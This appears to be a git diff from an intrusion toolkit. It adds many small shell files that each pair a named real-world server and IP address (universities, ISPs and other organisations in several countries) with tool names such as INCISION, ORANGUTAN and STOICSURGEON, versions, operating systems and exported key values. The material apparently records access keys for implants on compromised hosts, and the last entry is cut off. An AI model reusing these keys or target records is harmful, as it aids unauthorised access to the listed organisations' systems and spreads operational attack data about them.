a/Linux/bin/varkeys/pitchimpair/webmail.s-t.au.ac.th___168.120.9.2/incision b/Linux/bin/varkeys/pitchimpair/webmail.s-t.au.ac.th___168.120.9.2/incision new file mode 100644 index 0000000..c52f98a --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/webmail.s-t.au.ac.th___168.120.9.2/incision @@ -0,0 +1,5 @@ +PITCHIMPAIR___webmail.s-t.au.ac.th___168.120.9.2___20020507-121447() { + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.8 + export TARG_AYT="31755052 1ca39d1f 7b15448a" + [ "$UTC_OFFSET" ] || export UTC_OFFSET=840 +} diff --git a/Linux/bin/varkeys/pitchimpair/webmail.s-t.au.ac.th___168.120.9.2/orangutan b/Linux/bin/varkeys/pitchimpair/webmail.s-t.au.ac.th___168.120.9.2/orangutan new file mode 100644 index 0000000..9512994 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/webmail.s-t.au.ac.th___168.120.9.2/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___webmail.s-t.au.ac.th___168.120.9.2___20020507-121447() { + ## ORANGUTAN Version:1.4 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="72ff7d93 5a569106 ac4dd22a" +} diff --git a/Linux/bin/varkeys/pitchimpair/webmail.s-t.au.ac.th___168.120.9.2/sidetrack b/Linux/bin/varkeys/pitchimpair/webmail.s-t.au.ac.th___168.120.9.2/sidetrack new file mode 100644 index 0000000..3e030dc --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/webmail.s-t.au.ac.th___168.120.9.2/sidetrack @@ -0,0 +1,4 @@ +PITCHIMPAIR___webmail.s-t.au.ac.th___168.120.9.2___20020905-152251() { + ## SIDETRACK Version:2.0 OS:sparc-sun-solaris2.8 + export CV="d48ac692 740a5ed1 36e48b63 2d9d4101" +} diff --git a/Linux/bin/varkeys/pitchimpair/webshared-admin.colt.net___213.41.78.10/incision b/Linux/bin/varkeys/pitchimpair/webshared-admin.colt.net___213.41.78.10/incision new file mode 100644 index 0000000..6876907 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/webshared-admin.colt.net___213.41.78.10/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___webshared-admin.colt.net___213.41.78.10___20091021-015609() { + ## INCISION Version:4.10.2.10 OS:i386-pc-solaris2.7 + export TARG_AYT="9ff1ea83 5e09b43b 46ff1c7a" +} diff --git a/Linux/bin/varkeys/pitchimpair/webshared-front2.colt.net___213.41.78.12/incision b/Linux/bin/varkeys/pitchimpair/webshared-front2.colt.net___213.41.78.12/incision new file mode 100644 index 0000000..b606343 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/webshared-front2.colt.net___213.41.78.12/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___webshared-front2.colt.net___213.41.78.12___20080724-114831() { + ## INCISION Version:4.10.2.10 OS:i386-pc-solaris2.7 + export TARG_AYT="2c596c60 1d0dbf52 a2145dcd" +} diff --git a/Linux/bin/varkeys/pitchimpair/webshared-front2.colt.net___213.41.78.12/jackladder b/Linux/bin/varkeys/pitchimpair/webshared-front2.colt.net___213.41.78.12/jackladder new file mode 100644 index 0000000..1f258a7 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/webshared-front2.colt.net___213.41.78.12/jackladder @@ -0,0 +1,4 @@ +PITCHIMPAIR___webshared-front2.colt.net___213.41.78.12___20080724-114831() { + ## JACKLADDER Version:2.1 OS:i386-pc-solaris2.7 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/webshared-front2.colt.net___213.41.78.12/orangutan b/Linux/bin/varkeys/pitchimpair/webshared-front2.colt.net___213.41.78.12/orangutan new file mode 100644 index 0000000..71432be --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/webshared-front2.colt.net___213.41.78.12/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___webshared-front2.colt.net___213.41.78.12___20080724-114831() { + ## ORANGUTAN Version:1.6.1 OS:i386-pc-solaris2.7 + export CONFIG_KEYS="d260abb4 26482fce 96b1da4a" +} diff --git a/Linux/bin/varkeys/pitchimpair/webshared-front2.colt.net___213.41.78.12/patchicillin b/Linux/bin/varkeys/pitchimpair/webshared-front2.colt.net___213.41.78.12/patchicillin new file mode 100644 index 0000000..44dc9a3 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/webshared-front2.colt.net___213.41.78.12/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___webshared-front2.colt.net___213.41.78.12___20080724-114831() { + ## PATCHICILLIN Version:1.1.2.1 OS:i386-pc-solaris2.7 + export CV="7f0f1a78 ea9f7726 07bf1e91" +} diff --git a/Linux/bin/varkeys/pitchimpair/webshared-front3.colt.net___213.41.78.13/incision b/Linux/bin/varkeys/pitchimpair/webshared-front3.colt.net___213.41.78.13/incision new file mode 100644 index 0000000..c96f461 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/webshared-front3.colt.net___213.41.78.13/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___webshared-front3.colt.net___213.41.78.13___20081211-124210() { + ## INCISION Version:4.10.2.10 OS:i386-pc-solaris2.7 + export TARG_AYT="518217b6 71af4a84 c6e8f0e9" +} diff --git a/Linux/bin/varkeys/pitchimpair/webshared-front3.colt.net___213.41.78.13/jackladder b/Linux/bin/varkeys/pitchimpair/webshared-front3.colt.net___213.41.78.13/jackladder new file mode 100644 index 0000000..39d9d5f --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/webshared-front3.colt.net___213.41.78.13/jackladder @@ -0,0 +1,4 @@ +PITCHIMPAIR___webshared-front3.colt.net___213.41.78.13___20081211-124210() { + ## JACKLADDER Version:2.1 OS:i386-pc-solaris2.7 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/webshared-front3.colt.net___213.41.78.13/orangutan b/Linux/bin/varkeys/pitchimpair/webshared-front3.colt.net___213.41.78.13/orangutan new file mode 100644 index 0000000..3bc50b5 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/webshared-front3.colt.net___213.41.78.13/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___webshared-front3.colt.net___213.41.78.13___20081211-124210() { + ## ORANGUTAN Version:1.6.1 OS:i386-pc-solaris2.7 + export CONFIG_KEYS="b75eb2be dbba6b36 afda4bc6" +} diff --git a/Linux/bin/varkeys/pitchimpair/webshared-front3.colt.net___213.41.78.13/patchicillin b/Linux/bin/varkeys/pitchimpair/webshared-front3.colt.net___213.41.78.13/patchicillin new file mode 100644 index 0000000..000aa80 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/webshared-front3.colt.net___213.41.78.13/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___webshared-front3.colt.net___213.41.78.13___20081211-124210() { + ## PATCHICILLIN Version:1.1.2.1 OS:i386-pc-solaris2.7 + export CV="006d29aa 63cbf5d0 e539f610" +} diff --git a/Linux/bin/varkeys/pitchimpair/webshared-front4.colt.net___213.41.78.14/incision b/Linux/bin/varkeys/pitchimpair/webshared-front4.colt.net___213.41.78.14/incision new file mode 100644 index 0000000..33a0b9c --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/webshared-front4.colt.net___213.41.78.14/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___webshared-front4.colt.net___213.41.78.14___20081015-112831() { + ## INCISION Version:4.10.2.10 OS:i386-pc-solaris2.7 + export TARG_AYT="26465cba 8b1198e2 84c9a97b" +} diff --git a/Linux/bin/varkeys/pitchimpair/webshared-front4.colt.net___213.41.78.14/orangutan b/Linux/bin/varkeys/pitchimpair/webshared-front4.colt.net___213.41.78.14/orangutan new file mode 100644 index 0000000..3631edd --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/webshared-front4.colt.net___213.41.78.14/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___webshared-front4.colt.net___213.41.78.14___20081015-112831() { + ## ORANGUTAN Version:1.6.1 OS:i386-pc-solaris2.7 + export CONFIG_KEYS="7c515848 6d982792 fb42eba0" +} diff --git a/Linux/bin/varkeys/pitchimpair/webshared-front4.colt.net___213.41.78.14/patchicillin b/Linux/bin/varkeys/pitchimpair/webshared-front4.colt.net___213.41.78.14/patchicillin new file mode 100644 index 0000000..910a924 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/webshared-front4.colt.net___213.41.78.14/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___webshared-front4.colt.net___213.41.78.14___20081015-112831() { + ## PATCHICILLIN Version:1.1.2.1 OS:i386-pc-solaris2.7 + export CV="fdc585de 7d51d1d9 b226877e" +} diff --git a/Linux/bin/varkeys/pitchimpair/win.hallym.ac.kr___210.115.225.17/incision b/Linux/bin/varkeys/pitchimpair/win.hallym.ac.kr___210.115.225.17/incision new file mode 100644 index 0000000..a2653c2 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/win.hallym.ac.kr___210.115.225.17/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___win.hallym.ac.kr___210.115.225.17___20050308-131417() { + ## INCISION Version:4.10.1.2 OS:sparc-sun-solaris2.9 + export TARG_AYT="ad31401a 1f0e2874 fcf516a7" +} diff --git a/Linux/bin/varkeys/pitchimpair/win.hallym.ac.kr___210.115.225.17/orangutan b/Linux/bin/varkeys/pitchimpair/win.hallym.ac.kr___210.115.225.17/orangutan new file mode 100644 index 0000000..a9979ab --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/win.hallym.ac.kr___210.115.225.17/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___win.hallym.ac.kr___210.115.225.17___20050308-131417() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.9 + export CONFIG_KEYS="9806b461 5ea207db 0976aadd" +} diff --git a/Linux/bin/varkeys/pitchimpair/win.hallym.ac.kr___210.115.225.17/patchicillin b/Linux/bin/varkeys/pitchimpair/win.hallym.ac.kr___210.115.225.17/patchicillin new file mode 100644 index 0000000..ea2b4d9 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/win.hallym.ac.kr___210.115.225.17/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___win.hallym.ac.kr___210.115.225.17___20050308-131417() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.9 + export CV="82d79cc1 53ba7b42 ed08a4fa" +} diff --git a/Linux/bin/varkeys/pitchimpair/winner.hallym.ac.kr___210.115.225.10/incision b/Linux/bin/varkeys/pitchimpair/winner.hallym.ac.kr___210.115.225.10/incision new file mode 100644 index 0000000..d274bbc --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/winner.hallym.ac.kr___210.115.225.10/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___winner.hallym.ac.kr___210.115.225.10___20050408-132327() { + ## INCISION Version:4.10.1.2 OS:sparc-sun-solaris2.9 + export TARG_AYT="4885787a 9605002b 61107b5f" +} diff --git a/Linux/bin/varkeys/pitchimpair/winner.hallym.ac.kr___210.115.225.10/orangutan b/Linux/bin/varkeys/pitchimpair/winner.hallym.ac.kr___210.115.225.10/orangutan new file mode 100644 index 0000000..6c979bf --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/winner.hallym.ac.kr___210.115.225.10/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___winner.hallym.ac.kr___210.115.225.10___20050408-132327() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.9 + export CONFIG_KEYS="50d43461 7c9e016f 84287c5d" +} diff --git a/Linux/bin/varkeys/pitchimpair/winner.hallym.ac.kr___210.115.225.10/patchicillin b/Linux/bin/varkeys/pitchimpair/winner.hallym.ac.kr___210.115.225.10/patchicillin new file mode 100644 index 0000000..0d29ed1 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/winner.hallym.ac.kr___210.115.225.10/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___winner.hallym.ac.kr___210.115.225.10___20050408-132327() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.9 + export CV="dcef6b9a 0fdccc18 3763d983" +} diff --git a/Linux/bin/varkeys/pitchimpair/winners.yonsei.ac.kr___210.115.225.14/incision b/Linux/bin/varkeys/pitchimpair/winners.yonsei.ac.kr___210.115.225.14/incision new file mode 100644 index 0000000..8dac043 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/winners.yonsei.ac.kr___210.115.225.14/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___winners.yonsei.ac.kr___210.115.225.14___20041130-130403() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="3de8747f 02deca99 6eb06696" +} diff --git a/Linux/bin/varkeys/pitchimpair/winners.yonsei.ac.kr___210.115.225.14/orangutan b/Linux/bin/varkeys/pitchimpair/winners.yonsei.ac.kr___210.115.225.14/orangutan new file mode 100644 index 0000000..2bb52c2 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/winners.yonsei.ac.kr___210.115.225.14/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___winners.yonsei.ac.kr___210.115.225.14___20041130-130403() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="82e1890c 7dca003b 3c640f0b" +} diff --git a/Linux/bin/varkeys/pitchimpair/winners.yonsei.ac.kr___210.115.225.14/patchicillin b/Linux/bin/varkeys/pitchimpair/winners.yonsei.ac.kr___210.115.225.14/patchicillin new file mode 100644 index 0000000..5d8ffef --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/winners.yonsei.ac.kr___210.115.225.14/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___winners.yonsei.ac.kr___210.115.225.14___20041130-130403() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="a2692265 03570973 07c9f84e" +} diff --git a/Linux/bin/varkeys/pitchimpair/winners.yonsei.ac.kr___210.115.225.14/sidetrack b/Linux/bin/varkeys/pitchimpair/winners.yonsei.ac.kr___210.115.225.14/sidetrack new file mode 100644 index 0000000..cb929b2 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/winners.yonsei.ac.kr___210.115.225.14/sidetrack @@ -0,0 +1,4 @@ +PITCHIMPAIR___winners.yonsei.ac.kr___210.115.225.14___20041130-130403() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="4d215425 6e8185d4 fe941e5d 914cc06e" +} diff --git a/Linux/bin/varkeys/pitchimpair/www.bygden.nu___192.176.10.178/incision b/Linux/bin/varkeys/pitchimpair/www.bygden.nu___192.176.10.178/incision new file mode 100644 index 0000000..d9e8d58 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/www.bygden.nu___192.176.10.178/incision @@ -0,0 +1,5 @@ +PITCHIMPAIR___www.bygden.nu___192.176.10.178___20031105-171204() { +# PITCHIMPAIR___www.bygden.nu___192.176.10.178___20031105-171204 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="1d7bb39c 2e7b6bc4 b501921a" +} diff --git a/Linux/bin/varkeys/pitchimpair/www.bygden.nu___192.176.10.178/orangutan b/Linux/bin/varkeys/pitchimpair/www.bygden.nu___192.176.10.178/orangutan new file mode 100644 index 0000000..c54d2e9 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/www.bygden.nu___192.176.10.178/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___www.bygden.nu___192.176.10.178___20031105-171204() { + ## ORANGUTAN Version:1.6 OS:sparc-sun-solaris2.9 + export CONFIG_KEYS="73eb0ba7 14327d1d f1e94b0e" +} diff --git a/Linux/bin/varkeys/pitchimpair/www.cfd.or.jp___210.198.16.75/incision b/Linux/bin/varkeys/pitchimpair/www.cfd.or.jp___210.198.16.75/incision new file mode 100644 index 0000000..4a2ec75 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/www.cfd.or.jp___210.198.16.75/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___www.cfd.or.jp___210.198.16.75___20041130-110333() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.6 + export TARG_AYT="5c0aa1e9 3b8b84da 5af135e1" +} diff --git a/Linux/bin/varkeys/pitchimpair/www.cfd.or.jp___210.198.16.75/orangutan b/Linux/bin/varkeys/pitchimpair/www.cfd.or.jp___210.198.16.75/orangutan new file mode 100644 index 0000000..36badc8 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/www.cfd.or.jp___210.198.16.75/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___www.cfd.or.jp___210.198.16.75___20041130-110333() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.6 + export CONFIG_KEYS="befa17cf 0f8d6fcf b89f6f84" +} diff --git a/Linux/bin/varkeys/pitchimpair/www.cfd.or.jp___210.198.16.75/patchicillin b/Linux/bin/varkeys/pitchimpair/www.cfd.or.jp___210.198.16.75/patchicillin new file mode 100644 index 0000000..f9f632d --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/www.cfd.or.jp___210.198.16.75/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___www.cfd.or.jp___210.198.16.75___20041130-110333() { + ## PATCHICILLIN Version:1.1.1.0 OS:sparc-sun-solaris2.6 + export CV="31fba28b b1304dcf 27956a93" +} diff --git a/Linux/bin/varkeys/pitchimpair/www.elim.net___203.239.130.7/orangutan b/Linux/bin/varkeys/pitchimpair/www.elim.net___203.239.130.7/orangutan new file mode 100644 index 0000000..51e482e --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/www.elim.net___203.239.130.7/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___www.elim.net___203.239.130.7___20020311-141938() { + ## ORANGUTAN Version:1.4 OS:sparc-sun-solaris2.5.1 + export CONFIG_KEYS="37c3cc1b f37a5266 88a0adc1" +} diff --git a/Linux/bin/varkeys/pitchimpair/www.nursat.kz___194.226.128.26/dewdrop b/Linux/bin/varkeys/pitchimpair/www.nursat.kz___194.226.128.26/dewdrop new file mode 100644 index 0000000..72d52d1 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/www.nursat.kz___194.226.128.26/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___www.nursat.kz___194.226.128.26___20061011-162309() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.10 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/www.nursat.kz___194.226.128.26/stoicsurgeon b/Linux/bin/varkeys/pitchimpair/www.nursat.kz___194.226.128.26/stoicsurgeon new file mode 100644 index 0000000..5a2dc52 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/www.nursat.kz___194.226.128.26/stoicsurgeon @@ -0,0 +1,4 @@ +PITCHIMPAIR___www.nursat.kz___194.226.128.26___20061011-162309() { + ## STOICSURGEON Version: OS:sparc-sun-solaris2.10 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/www.pue.uia.mx___192.100.196.7/incision b/Linux/bin/varkeys/pitchimpair/www.pue.uia.mx___192.100.196.7/incision new file mode 100644 index 0000000..4ba7192 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/www.pue.uia.mx___192.100.196.7/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___www.pue.uia.mx___192.100.196.7___20041202-214158() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="e0453c36 6d027b6d 82699277" +} diff --git a/Linux/bin/varkeys/pitchimpair/www.pue.uia.mx___192.100.196.7/orangutan b/Linux/bin/varkeys/pitchimpair/www.pue.uia.mx___192.100.196.7/orangutan new file mode 100644 index 0000000..2384d83 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/www.pue.uia.mx___192.100.196.7/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___www.pue.uia.mx___192.100.196.7___20041202-214158() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="bb962645 49dc5994 bff9a9cb" +} diff --git a/Linux/bin/varkeys/pitchimpair/www.pue.uia.mx___192.100.196.7/patchicillin b/Linux/bin/varkeys/pitchimpair/www.pue.uia.mx___192.100.196.7/patchicillin new file mode 100644 index 0000000..bfec553 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/www.pue.uia.mx___192.100.196.7/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___www.pue.uia.mx___192.100.196.7___20041202-214158() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="2ceea1aa be17244a 52cfa1ca" +} diff --git a/Linux/bin/varkeys/pitchimpair/www.pue.uia.mx___192.100.196.7/sidetrack b/Linux/bin/varkeys/pitchimpair/www.pue.uia.mx___192.100.196.7/sidetrack new file mode 100644 index 0000000..d304140 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/www.pue.uia.mx___192.100.196.7/sidetrack @@ -0,0 +1,4 @@ +PITCHIMPAIR___www.pue.uia.mx___192.100.196.7___20041202-214158() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="3408eb9d 08ce4b74 2df349c7 79661e4c" +} diff --git a/Linux/bin/varkeys/pitchimpair/www2.din.or.jp___210.135.90.7/incision b/Linux/bin/varkeys/pitchimpair/www2.din.or.jp___210.135.90.7/incision new file mode 100644 index 0000000..02f497f --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/www2.din.or.jp___210.135.90.7/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___www2.din.or.jp___210.135.90.7___20100609-100658() { + ## INCISION Version:4.10.2.10 OS:i386-pc-solaris2.7 + export TARG_AYT="d341e6f5 bd5bc3ef 75b761db" +} diff --git a/Linux/bin/varkeys/pitchimpair/www2.din.or.jp___210.135.90.7/jackladder b/Linux/bin/varkeys/pitchimpair/www2.din.or.jp___210.135.90.7/jackladder new file mode 100644 index 0000000..9d5466a --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/www2.din.or.jp___210.135.90.7/jackladder @@ -0,0 +1,4 @@ +PITCHIMPAIR___www2.din.or.jp___210.135.90.7___20100609-100658() { + ## JACKLADDER Version:2.1 OS:i386-pc-solaris2.7 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/www2.din.or.jp___210.135.90.7/orangutan b/Linux/bin/varkeys/pitchimpair/www2.din.or.jp___210.135.90.7/orangutan new file mode 100644 index 0000000..5b96279 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/www2.din.or.jp___210.135.90.7/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___www2.din.or.jp___210.135.90.7___20100609-100658() { + ## ORANGUTAN Version:1.6.1 OS:i386-pc-solaris2.7 + export CONFIG_KEYS="233b7bed 58810de3 5ef9f7ca" +} diff --git a/Linux/bin/varkeys/pitchimpair/www2.din.or.jp___210.135.90.7/patchicillin b/Linux/bin/varkeys/pitchimpair/www2.din.or.jp___210.135.90.7/patchicillin new file mode 100644 index 0000000..4a374ad --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/www2.din.or.jp___210.135.90.7/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___www2.din.or.jp___210.135.90.7___20100609-100658() { + ## PATCHICILLIN Version:1.1.2.1 OS:i386-pc-solaris2.7 + export CV="6a748116 d474c89f 31f09bb1" +} diff --git a/Linux/bin/varkeys/pitchimpair/www3.din.or.jp___210.135.90.8/incision b/Linux/bin/varkeys/pitchimpair/www3.din.or.jp___210.135.90.8/incision new file mode 100644 index 0000000..920ff59 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/www3.din.or.jp___210.135.90.8/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___www3.din.or.jp___210.135.90.8___20100722-154438() { + ## INCISION Version:4.10.2.10 OS:i386-pc-solaris2.7 + export TARG_AYT="2c66cf0b f14efce1 75caecc4" +} diff --git a/Linux/bin/varkeys/pitchimpair/www3.din.or.jp___210.135.90.8/jackladder b/Linux/bin/varkeys/pitchimpair/www3.din.or.jp___210.135.90.8/jackladder new file mode 100644 index 0000000..8b461ad --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/www3.din.or.jp___210.135.90.8/jackladder @@ -0,0 +1,4 @@ +PITCHIMPAIR___www3.din.or.jp___210.135.90.8___20100722-154438() { + ## JACKLADDER Version:2.1 OS:i386-pc-solaris2.7 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/www3.din.or.jp___210.135.90.8/orangutan b/Linux/bin/varkeys/pitchimpair/www3.din.or.jp___210.135.90.8/orangutan new file mode 100644 index 0000000..e7343f5 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/www3.din.or.jp___210.135.90.8/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___www3.din.or.jp___210.135.90.8___20100722-154438() { + ## ORANGUTAN Version:1.6.1 OS:i386-pc-solaris2.7 + export CONFIG_KEYS="1af1ee24 ff66e8b4 53a57933" +} diff --git a/Linux/bin/varkeys/pitchimpair/www3.din.or.jp___210.135.90.8/patchicillin b/Linux/bin/varkeys/pitchimpair/www3.din.or.jp___210.135.90.8/patchicillin new file mode 100644 index 0000000..3be5907 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/www3.din.or.jp___210.135.90.8/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___www3.din.or.jp___210.135.90.8___20100722-154438() { + ## PATCHICILLIN Version:1.1.2.1 OS:i386-pc-solaris2.7 + export CV="7acb0b66 abe85866 38b641b5" +} diff --git a/Linux/bin/varkeys/pitchimpair/xilinx.e-technik.uni-rostock.de___139.30.202.12/dewdrop b/Linux/bin/varkeys/pitchimpair/xilinx.e-technik.uni-rostock.de___139.30.202.12/dewdrop new file mode 100644 index 0000000..1c00494 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/xilinx.e-technik.uni-rostock.de___139.30.202.12/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___xilinx.e-technik.uni-rostock.de___139.30.202.12___20061130-181645() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/xilinx.e-technik.uni-rostock.de___139.30.202.12/stoicsurgeon b/Linux/bin/varkeys/pitchimpair/xilinx.e-technik.uni-rostock.de___139.30.202.12/stoicsurgeon new file mode 100644 index 0000000..ba705b7 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/xilinx.e-technik.uni-rostock.de___139.30.202.12/stoicsurgeon @@ -0,0 +1,4 @@ +PITCHIMPAIR___xilinx.e-technik.uni-rostock.de___139.30.202.12___20061130-181645() { + ## STOICSURGEON Version:STOICSURGEON v1.0.5.2 sparc-sun-solaris2.8 OS:sparc-sun-solaris2.8 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/xn--anna-ahlstrm-fjb.stacken.kth.se___130.237.234.53/dewdrop b/Linux/bin/varkeys/pitchimpair/xn--anna-ahlstrm-fjb.stacken.kth.se___130.237.234.53/dewdrop new file mode 100644 index 0000000..7822ca5 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/xn--anna-ahlstrm-fjb.stacken.kth.se___130.237.234.53/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___xn--anna-ahlstrm-fjb.stacken.kth.se___130.237.234.53___20060926-153210() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/xn--anna-ahlstrm-fjb.stacken.kth.se___130.237.234.53/stoicsurgeon b/Linux/bin/varkeys/pitchimpair/xn--anna-ahlstrm-fjb.stacken.kth.se___130.237.234.53/stoicsurgeon new file mode 100644 index 0000000..0564575 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/xn--anna-ahlstrm-fjb.stacken.kth.se___130.237.234.53/stoicsurgeon @@ -0,0 +1,4 @@ +PITCHIMPAIR___xn--anna-ahlstrm-fjb.stacken.kth.se___130.237.234.53___20060926-153210() { + ## STOICSURGEON Version:STOICSURGEON v1.0.5.3 sparc-sun-solaris2.9 OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/xn--selma-lagerlf-tmb.stacken.kth.se___130.237.234.51/dewdrop b/Linux/bin/varkeys/pitchimpair/xn--selma-lagerlf-tmb.stacken.kth.se___130.237.234.51/dewdrop new file mode 100644 index 0000000..f449e64 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/xn--selma-lagerlf-tmb.stacken.kth.se___130.237.234.51/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___xn--selma-lagerlf-tmb.stacken.kth.se___130.237.234.51___20060926-160355() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/xn--selma-lagerlf-tmb.stacken.kth.se___130.237.234.51/stoicsurgeon b/Linux/bin/varkeys/pitchimpair/xn--selma-lagerlf-tmb.stacken.kth.se___130.237.234.51/stoicsurgeon new file mode 100644 index 0000000..2285577 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/xn--selma-lagerlf-tmb.stacken.kth.se___130.237.234.51/stoicsurgeon @@ -0,0 +1,4 @@ +PITCHIMPAIR___xn--selma-lagerlf-tmb.stacken.kth.se___130.237.234.51___20060926-160355() { + ## STOICSURGEON Version:STOICSURGEON v1.0.5.3 sparc-sun-solaris2.9 OS:sparc-sun-solaris2.9 + 